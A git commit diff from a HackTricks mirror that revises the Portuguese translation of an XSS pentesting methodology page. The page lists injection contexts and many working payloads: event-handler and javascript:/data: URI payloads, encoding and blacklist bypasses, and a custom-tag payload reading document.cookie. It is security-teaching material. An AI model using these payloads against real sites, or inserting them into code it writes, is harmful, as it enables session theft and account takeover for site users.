mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem
This commit is contained in:
parent
7e2aafc67e
commit
c1cf0581a2
@ -725,6 +725,7 @@
|
||||
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
|
||||
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
|
@ -2,34 +2,34 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metodologia
|
||||
## Methodology
|
||||
|
||||
1. Verifique se **qualquer valor que você controla** (_parameters_, _path_, _headers_?, _cookies_?) está sendo **refletido** no HTML ou **usado** por código **JS**.
|
||||
2. **Encontre o contexto** onde ele é refletido/usado.
|
||||
1. Verifique se **qualquer valor que você controla** (_parameters_, _path_, _headers_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo **código JS**.
|
||||
2. **Encontre o contexto** onde está sendo refletido/usado.
|
||||
3. Se **refletido**
|
||||
1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
|
||||
1. Em **HTML bruto**:
|
||||
1. Você consegue criar novas tags HTML?
|
||||
2. Você pode usar events ou atributos que suportem o protocolo `javascript:`?
|
||||
3. Você consegue bypassar proteções?
|
||||
4. O conteúdo HTML está sendo interpretado por algum engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de um [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Se você não consegue criar tags HTML que executem código JS, você poderia abusar de um [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
1. Em **Raw HTML**:
|
||||
1. Você pode criar novas tags HTML?
|
||||
2. Você pode usar eventos ou atributos que suportem o protocolo `javascript:`?
|
||||
3. Você consegue contornar proteções?
|
||||
4. O conteúdo HTML está sendo interpretado por algum engine JS do lado cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de um [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Se você não pode criar tags HTML que executem código JS, poderia abusar de um [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Dentro de uma **tag HTML**:
|
||||
1. Você consegue sair para o contexto HTML bruto?
|
||||
2. Você consegue criar novos events/atributos para executar código JS?
|
||||
3. O atributo onde você está preso suporta execução de JS?
|
||||
4. Você consegue bypassar proteções?
|
||||
3. Dentro do **código JavaScript**:
|
||||
1. Você consegue escapar da tag `<script>`?
|
||||
2. Você consegue escapar da string e executar outro código JS?
|
||||
3. Seus inputs estão em template literals \`\`?
|
||||
4. Você consegue bypassar proteções?
|
||||
4. Função Javascript sendo **executada**
|
||||
1. Você pode indicar o nome da função a executar. por exemplo: `?callback=alert(1)`
|
||||
1. Você consegue sair para o contexto Raw HTML?
|
||||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||||
3. O atributo no qual você está preso suporta execução de JS?
|
||||
4. Você consegue contornar proteções?
|
||||
3. Dentro de **código JavaScript**:
|
||||
1. Você consegue escapar a tag `<script>`?
|
||||
2. Você consegue escapar a string e executar outro código JS?
|
||||
3. Seu input está em template literals ``?
|
||||
4. Você consegue contornar proteções?
|
||||
4. Função **Javascript** sendo **executada**
|
||||
1. Você pode indicar o nome da função a executar. e.g.: `?callback=alert(1)`
|
||||
4. Se **usado**:
|
||||
1. Você poderia explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink.**
|
||||
|
||||
When working on a complex XSS you might find interesting to know about:
|
||||
Quando trabalhar em um XSS complexo pode ser interessante saber sobre:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -38,29 +38,29 @@ debugging-client-side-js.md
|
||||
|
||||
## Reflected values
|
||||
|
||||
Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página web.
|
||||
Para explorar com sucesso um XSS a primeira coisa que você precisa encontrar é um **valor controlado por você que esteja sendo refletido** na página web.
|
||||
|
||||
- **Intermediately reflected**: Se você descobrir que o valor de um parâmetro ou mesmo do path está sendo refletido na página web, você poderia explorar um **Reflected XSS**.
|
||||
- **Stored and reflected**: Se você descobrir que um valor controlado por você é salvo no servidor e é refletido toda vez que você acessa uma página, você poderia explorar um **Stored XSS**.
|
||||
- **Accessed via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderia explorar um **DOM XSS**.
|
||||
- **Refletido intermitentemente**: Se você descobrir que o valor de um parâmetro ou até mesmo do path está sendo refletido na página web, você pode explorar um **Reflected XSS**.
|
||||
- **Stored and reflected**: Se você encontrar que um valor controlado por você é salvo no servidor e é refletido toda vez que você acessa uma página, você pode explorar um **Stored XSS**.
|
||||
- **Accessed via JS**: Se você descobrir que um valor controlado por você está sendo acessado via JS, você pode explorar um **DOM XSS**.
|
||||
|
||||
## Contexts
|
||||
|
||||
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
|
||||
Ao tentar explorar um XSS a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você será capaz de executar código JS arbitrário de maneiras diferentes.
|
||||
|
||||
### HTML bruto
|
||||
### Raw HTML
|
||||
|
||||
Se seu input é **refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... estes são apenas alguns das muitas tags HTML possíveis que você pode usar.\
|
||||
Se seu input for **refletido no Raw HTML** da página você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... estes são apenas alguns das muitas tags HTML possíveis que você poderia usar.\
|
||||
Além disso, lembre-se de [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro do atributo de uma tag HTML
|
||||
### Inside HTML tags attribute
|
||||
|
||||
Se seu input é refletido dentro do valor do atributo de uma tag você pode tentar:
|
||||
Se seu input for refletido dentro do valor do atributo de uma tag você pode tentar:
|
||||
|
||||
1. Escapar do atributo e da tag (então você estará no HTML bruto) e criar nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **consegue escapar do atributo mas não da tag** (`>` está codificado ou deletado), dependendo da tag você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não consegue escapar do atributo** (`"` está sendo codificado ou deletado), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um event como `onclick=` você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se seu input é refletido dentro de "tags não exploráveis" você pode tentar o truque do `accesskey` para abusar da vuln (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. Escapar do atributo e da tag (então você estará no Raw HTML) e criar nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **pode escapar do atributo mas não da tag** (`>` está codificado ou removido), dependendo da tag você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não consegue escapar do atributo** (`"` está sendo codificado ou removido), então dependendo de **em qual atributo** seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte você poderá abusar dele. **Por exemplo**, se você controla um evento como `onclick=` você poderá fazer com que ele execute código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se seu input for refletido dentro de **tags não exploráveis** você poderia tentar o truque do **`accesskey`** para abusar da vuln (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Weird example of Angular executing XSS if you controls a class name:
|
||||
```html
|
||||
@ -70,41 +70,41 @@ Weird example of Angular executing XSS if you controls a class name:
|
||||
```
|
||||
### Dentro do código JavaScript
|
||||
|
||||
Nesse caso sua entrada é refletida entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
|
||||
Neste caso sua entrada é refletida entre **`<script> [...] </script>`** tags de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
|
||||
|
||||
- Se refletida entre **`<script> [...] </script>`** tags, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador irá primeiro parsear as tags HTML** e depois o conteúdo, portanto, ele não notará que sua tag injetada `</script>` está dentro do código HTML.
|
||||
- Se refletida **dentro de uma string JS** e o truque anterior não estiver funcionando você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver qualquer erro, ele não será executado:
|
||||
- Se refletida entre **`<script> [...] </script>`** tags, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador vai primeiro analisar as tags HTML** e depois o conteúdo; portanto, ele não vai perceber que sua tag `</script>` injetada está dentro do código HTML.
|
||||
- Se refletido **dentro de uma string JS** e o truque anterior não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver qualquer erro, ele não será executado:
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Se refletida dentro de template literals você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **A codificação Unicode** funciona para escrever **código JavaScript válido**:
|
||||
- Se refletido dentro de template literals você pode **inserir expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** funciona para escrever código **javascript válido**:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
#### Hoisting em Javascript
|
||||
#### Javascript Hoisting
|
||||
|
||||
Hoisting em Javascript refere-se à oportunidade de **declarar functions, variables ou classes depois de serem usadas, permitindo abusar de cenários onde uma XSS está usando variáveis ou funções não declaradas.**\
|
||||
**Consulte a página seguinte para mais info:**
|
||||
Javascript Hoisting refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas, permitindo abusar de cenários onde um XSS está usando variáveis ou funções não declaradas.**\
|
||||
**Consulte a página seguinte para mais informações:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
{{#endref}}
|
||||
|
||||
### Função Javascript
|
||||
### Javascript Function
|
||||
|
||||
Várias páginas web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum encontrado na prática é algo como: `?callback=callbackFunc`.
|
||||
Várias páginas web têm endpoints que **aceitam como parâmetro o nome da função a executar**. Um exemplo comum observado em ambientes reais é algo como: `?callback=callbackFunc`.
|
||||
|
||||
Uma boa forma de verificar se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo para 'Vulnerable') e observar no console por erros como:
|
||||
Uma boa forma de descobrir se algo fornecido diretamente pelo usuário está a ser executado é **modificar o valor do parâmetro** (por exemplo para 'Vulnerable') e verificar no console por erros como:
|
||||
|
||||
.png>)
|
||||
|
||||
Se for vulnerável, você pode ser capaz de **disparar um alert** simplesmente enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e underscores (**`[\w\._]`**).
|
||||
Caso seja vulnerável, você pode conseguir **disparar um alert** simplesmente enviando o valor: **`?callback=alert(1)`**. Contudo, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e underscores (**`[\w\._]`**).
|
||||
|
||||
No entanto, mesmo com essa limitação ainda é possível realizar algumas ações. Isso porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:
|
||||
No entanto, mesmo com essa limitação ainda é possível executar algumas ações. Isso porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -118,9 +118,9 @@ parentElement
|
||||
```
|
||||
Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`.
|
||||
|
||||
No entanto, normalmente os endpoints que executam a função indicada são endpoints sem um DOM muito interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
|
||||
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem um DOM muito interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
|
||||
|
||||
Portanto, para **abusar dessa vulnerabilidade em um DOM diferente** foi desenvolvida a exploração **Same Origin Method Execution (SOME)**:
|
||||
Portanto, para **abusar essa vulnerabilidade em um DOM diferente** foi desenvolvido o exploit **Same Origin Method Execution (SOME)**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Existe código **JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.
|
||||
Existe **código JS** que está usando **de forma insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,7 +138,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Este tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração no cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
|
||||
Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração no cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
|
||||
Alguns **exemplos**:
|
||||
|
||||
|
||||
@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## Imagem de encoding para bypass de WAF
|
||||
## WAF bypass encoding image
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Injetando dentro do HTML bruto
|
||||
## Injecting inside raw HTML
|
||||
|
||||
Quando seu input é refletido **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se você pode abusar do `<` para criar novas tags: basta tentar **refletir** esse **caractere** e checar se ele está sendo **HTML encoded** ou **deletado**, ou se é **refletido sem alterações**. **Somente no último caso você poderá explorar essa situação**.\
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML encoded** ou **deletado** ou se é **refletido sem alterações**. **Somente no último caso você poderá explorar esta situação**.\
|
||||
Para esses casos também **tenha em mente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Um comentário HTML pode ser fechado usando `-->` ou `--!>`**_
|
||||
_**Nota: Um comentário HTML pode ser fechado usando\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
|
||||
|
||||
Nesse caso e se nenhum black/whitelisting for usado, você poderia usar payloads como:
|
||||
Nesse caso, e se não houver black/whitelisting, você pode usar payloads como:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +169,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mas, se estiver a ser usado tags/attributes black/whitelisting, você precisará **brute-force quais tags** pode criar.\
|
||||
Uma vez que você tenha **localizado quais tags são permitidas**, você precisará **brute-force attributes/events** dentro das tags válidas encontradas para ver como atacar o contexto.
|
||||
Mas, se estiver a ser usado black/whitelisting de tags/atributos, você precisará **brute-force quais tags** pode criar.\
|
||||
Uma vez que tenha **localizado quais tags são permitidas**, será necessário **brute-force atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.
|
||||
|
||||
### Tags/Events brute-force
|
||||
### Tags/Eventos brute-force
|
||||
|
||||
Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copy tags to clipboard**_. Depois, envie todos eles usando Burp intruder e verifique se alguma tag não foi detectada como maliciosa pelo WAF. Quando descobrir quais tags pode usar, você pode **brute force all the events** usando as tags válidas (na mesma página clique em _**Copy events to clipboard**_ e siga o mesmo procedimento de antes).
|
||||
Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copy tags to clipboard**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi detectada como maliciosa pelo WAF. Uma vez descoberto quais tags você pode usar, você pode **brute-force todos os eventos** usando as tags válidas (na mesma página clique em _**Copy events to clipboard**_ e siga o mesmo procedimento de antes).
|
||||
|
||||
### Custom tags
|
||||
### Tags customizadas
|
||||
|
||||
Se você não encontrou nenhuma tag HTML válida, pode tentar **create a custom tag** e executar código JS com o atributo `onfocus`. Na XSS request, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag customizada** e executar código JS com o atributo `onfocus`. Na requisição XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques bobos:
|
||||
Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques simples:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -242,23 +242,23 @@ onerror=alert`1`
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
O último está usando 2 caracteres unicode que se expandem para 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).\
|
||||
Mais desses caracteres podem ser encontrados [here](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar em quais caracteres são decompostos verifique [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se, para explorar a vulnerabilidade, você precisa que o **usuário clique em um link ou em um formulário** com dados pré-preenchidos, você pode tentar [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
Se, para explorar a vulnerabilidade, você precisa que o **usuário clique em um link ou em um form** com dados pré-populados, você poderia tentar [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
|
||||
### Impossível - Dangling Markup
|
||||
|
||||
Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve checar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)porque você poderia **exploit** a vulnerabilidade **sem** executar **JS** código.
|
||||
Se você acha que **é impossível criar um HTML tag com um atributo para executar JS code**, você deve checar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **exploit** a vulnerabilidade **sem** executar **JS** code.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
## Injetando dentro do HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
### Dentro da tag/escapando do valor do atributo
|
||||
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [previous section](#injecting-inside-raw-html) para executar código **JS**.\
|
||||
Se você **não consegue escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código **JS**, por exemplo usando um payload como (_observe que neste exemplo aspas duplas são usadas para escapar do atributo, você não vai precisar delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
Se você estiver **dentro de um HTML tag**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [previous section](#injecting-inside-raw-html) para executar **JS** code.\
|
||||
Se você **não conseguir escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar **JS** code, por exemplo usando um payload como (_observe que neste exemplo double quotes são usadas para escapar do attribute, você não precisará delas se seu input for refletido diretamente dentro da tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -275,12 +275,12 @@ Se você **não consegue escapar da tag**, você pode criar novos atributos dent
|
||||
```
|
||||
### Dentro do atributo
|
||||
|
||||
Mesmo se você **não puder escapar do atributo** (`"` está sendo encoded ou deleted), dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazê-lo executar código arbitrário quando for clicado.\
|
||||
Outro exemplo interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
Mesmo se você **não conseguir escapar do atributo** (`"` está sendo codificado ou removido), dependendo de **qual atributo** o seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazê-lo executar código arbitrário quando for clicado.\
|
||||
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass dentro do evento usando HTML encoding/URL encode**
|
||||
|
||||
Os **caracteres codificados em HTML** dentro do valor dos atributos de tags HTML são **decodificados em tempo de execução**. Portanto algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Os **HTML encoded characters** dentro do valor dos atributos das tags HTML são **decoded on runtime**. Portanto algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Note que **qualquer tipo de HTML encode é válido**:
|
||||
```javascript
|
||||
@ -309,9 +309,9 @@ Note que **qualquer tipo de HTML encode é válido**:
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Protocolos Especiais Dentro do atributo
|
||||
### Protocolos especiais dentro do atributo
|
||||
|
||||
Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns locais para **executar código JS arbitrário**. Alguns vão exigir interação do usuário e outros não.
|
||||
Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário, outros não.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**Locais onde você pode injetar esses protocolos**
|
||||
**Lugares onde você pode injetar esses protocolos**
|
||||
|
||||
**De modo geral** o protocolo `javascript:` pode ser **usado em qualquer tag que aceita o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (mas não `<img>`)
|
||||
**Em geral** o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (mas não `<img`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -359,17 +359,17 @@ _**Neste caso, a codificação HTML e o truque de codificação Unicode da seç
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Além disso, existe outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo URL encoded, ela será URL decoded antes de ser executada.** Então, se você precisa **escape** da **string** usando uma **aspas simples** e vê que **ela está sendo URL encoded**, lembre-se de que **isso não importa,** ela será **interpretada** como uma **aspas simples** durante o **tempo de execução**.
|
||||
Além disso, há outro **truque interessante** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada na URL, ela será decodificada antes de ser executada.** Então, se você precisar **escapar** da **string** usando **aspas simples** e perceber que **está sendo codificada na URL**, lembre-se que **não faz diferença,** elas serão **interpretadas** como **aspas simples** durante o tempo de execução.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload** isso **não** **funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
Observe que, se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não** **funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
|
||||
**Usando Hex e Octal encode com `javascript:`**
|
||||
|
||||
Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe` (pelo menos) para declarar **tags HTML para executar JS**:
|
||||
Você pode usar **Hex** e **Octal encode** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -385,17 +385,17 @@ Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe`
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Se você conseguir injetar qualquer URL em uma tag arbitrária **`<a href=`** que contenha os atributos **`target="_blank" and rel="opener"`**, verifique a **seguinte página para explorar esse comportamento**:
|
||||
Se você puder injetar qualquer URL em uma tag arbitrária **`<a href=`** que contenha os atributos **`target="_blank" and rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### on Event Handlers Bypass
|
||||
### Bypass de "on" Event Handlers
|
||||
|
||||
Primeiro verifique esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para **"on" event handlers** úteis.\
|
||||
Caso exista alguma blacklist impedindo você de criar esses event handlers você pode tentar os seguintes bypasses:
|
||||
Caso exista alguma blacklist impedindo você de criar esses event handlers, você pode tentar os seguintes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -431,15 +431,15 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
A partir de [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **XSS payload dentro de um hidden attribute**, desde que consiga **convencer** a **victim** a pressionar a **key combination**. No Firefox (Windows/Linux) a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no access key attribute. Aqui está o vetor:
|
||||
A partir de [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **XSS payload inside a hidden attribute**, desde que consiga **persuadir** a **victim** a pressionar a **combinação de teclas**. No Firefox em Windows/Linux a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo accesskey. Aqui está o vetor:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**O payload XSS será algo como isto: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
